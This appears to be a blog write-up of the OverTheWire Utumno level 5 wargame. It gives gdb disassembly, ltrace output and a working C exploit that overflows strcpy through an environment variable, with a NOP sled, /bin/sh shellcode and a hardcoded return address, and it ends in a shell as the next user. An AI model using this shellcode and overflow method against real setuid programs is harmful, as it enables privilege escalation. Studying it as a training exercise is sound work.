OverTheWire.org - Utumno - Level 5 Writeup

If we run the executable it output the same text as the vulnerable code in level 2

Let's disassemble it and look at the code


utumno5@utumno:/tmp/u5$ gdb /utumno/utumno5
...
(gdb) disassemble main
Dump of assembler code for function main:
   0x08048516 <+0>:     push   %ebp
   0x08048517 <+1>:     mov    %esp,%ebp
   0x08048519 <+3>:     cmpl   $0x0,0x8(%ebp)
   0x0804851d <+7>:     je     0x8048533 <main+29>
   0x0804851f <+9>:     push   $0x80485f0
   0x08048524 <+14>:    call   0x8048380 <puts@plt>
   0x08048529 <+19>:    add    $0x4,%esp
   0x0804852c <+22>:    push   $0x1
   0x0804852e <+24>:    call   0x8048390 <exit@plt>
   0x08048533 <+29>:    mov    0xc(%ebp),%eax
   0x08048536 <+32>:    add    $0x28,%eax
   0x08048539 <+35>:    mov    (%eax),%eax
   0x0804853b <+37>:    push   %eax
   0x0804853c <+38>:    push   $0x80485f5
   0x08048541 <+43>:    call   0x8048360 <printf@plt>
   0x08048546 <+48>:    add    $0x8,%esp
   0x08048549 <+51>:    mov    0xc(%ebp),%eax
   0x0804854c <+54>:    add    $0x28,%eax
   0x0804854f <+57>:    mov    (%eax),%eax
   0x08048551 <+59>:    push   %eax
   0x08048552 <+60>:    call   0x80484db <hihi>
   0x08048557 <+65>:    add    $0x4,%esp
   0x0804855a <+68>:    mov    $0x0,%eax
   0x0804855f <+73>:    leave
   0x08048560 <+74>:    ret
End of assembler dump.

The third line checks if argument array is NULL.
If it's not it calls puts() and exits.
It argument array is null proceed to the code.
Very very similar to level2, but in this case it calls a function hihi() instead of calling a strcpy().

Let's follow the same approach and create a run.c file that calls the executable file passing a NULL argument array

1
2
3
4
5
6
7
8
#include <unistd.h>

int main (int argc, char *argv[])
{
    execve("/utumno/utumno5",NULL,NULL);

    return 0;
}


Running it in shell it shows a printf and a Segmentation Fault.

utumno5@utumno:~$ mkdir /tmp/utum5
utumno5@utumno:~$ cd /tmp/utum5
utumno5@utumno:/tmp/utum5$ gcc -m32 run.c -o run
utumno5@utumno:/tmp/utum5$ ./run
Segmentation fault
utumno5@utumno:/tmp/utum5$ ltrace ./run
__libc_start_main(0x565555a0, 1, 0xffffd794, 0x565555f0 <unfinished ...>
execve(0x56555670, 0, 0, 0x565555b4 <no return ...>
--- Called exec() ---
__libc_start_main(0x8048516, 0, 0xffffdf14, 0x8048570 <unfinished ...>
printf("Here we go - %s\n", "\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037 !"#$%&'()*+,-./0"... <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

It executes the pruintf and write some ASCII code. It seems to print something from the environment variable. Since the code is very similar to the level2, let's try to use the same run.c adding a list of ten custom environment variable elements

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#include <unistd.h>

int main (int argc, char *argv[])
{
    char *sc[10];

    sc[0]="/utumno/utumno5";
    sc[1]= "AAAA";
    sc[2]= "BBBB";
    sc[3]= "CCCC";
    sc[4]= "DDDD";
    sc[6]= "EEEE";
    sc[7]= "FFFF";
    sc[8]= "GGGG";
    sc[9]= "HHHH";
    
    execve("/utumno/utumno5",NULL,sc);
    
    return 0;
}


And then running it:

utumno5@utumno:/tmp/utum5$ ltrace ./run
__libc_start_main(0x565555a0, 1, 0xffffd794, 0x56555640 <unfinished ...>
execve(0x565556c0, 0, 0xffffd6b8, 0x565555b7 <no return ...>
--- Called exec() ---
__libc_start_main(0x8048516, 0, 0xffffde94, 0x8048570 <unfinished ...>
printf("Here we go - %s\n", "HHHH"Here we go - HHHH
)                                                              = 18
strlen("HHHH")                                                                                   = 4
strcpy(0xffffdde0, "HHHH")                                                                       = 0xffffdde0


We were able to trigger the strcpy function with the 10th element of the environment. So now let's use a longer string for this 10th element using
sc[9]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH";

utumno5@utumno:/tmp/utum5$ ltrace ./run
__libc_start_main(0x565555a0, 1, 0xffffd794, 0x56555640 <unfinished ...>
execve(0x565556c0, 0, 0xffffd6b8, 0x565555b7 <no return ...>
--- Called exec() ---
__libc_start_main(0x8048516, 0, 0xffffde94, 0x8048570 <unfinished ...>
write(1, "Here we go - AAAABBBBCCCCDDDDEEE"..., 46Here we go - AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
) = 46
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x45454545} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

The execution flow (EIP) was changed to 0x45454545 (ASCII "EEEEE")

I tried to exploit with the JMP ESP tecnique as in Level 2 but it didn't work.

 The reason is that the esp register after strcpy is not pointing to the shellcode. 
It may have something to do with the hihi() function that executes the strcpy and changes esp register.

So let's try to put an EGG on the environment just after exploiting string.
we have to guess the return address  that must point somewhere in the NOP sled

After a few tries with gdb I discovered  that a NOP sled is around address 0xffffdf80:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <unistd.h>

int main (int argc, char *argv[])
{
    char *sc[12];

    sc[0]="/utumno/utumno5";
    sc[1]= "AAAA";
    sc[2]= "BBBB";
    sc[3]= "CCCC";
    sc[4]= "DDDD";
    sc[6]= "EEEE";
    sc[7]= "FFFF";
    sc[8]= "GGGG";
    sc[9]= "AAAABBBBCCCCDDDD\x80\xdf\xff\xff";
    sc[10]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80";
    sc[11]=NULL;
    
    execve("/utumno/utumno5",NULL,sc);
    
    return 0;
}


And finally

utumno5@utumno:/tmp/utum5$  ./run
Here we go - AAAABBBBCCCCDDDD¦¦¦¦
$ id
uid=16005(utumno5) gid=16005(utumno5) euid=16006(utumno6) groups=16005(utumno5)
$ cat /etc/utumno_pass/utumno6
e********h
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.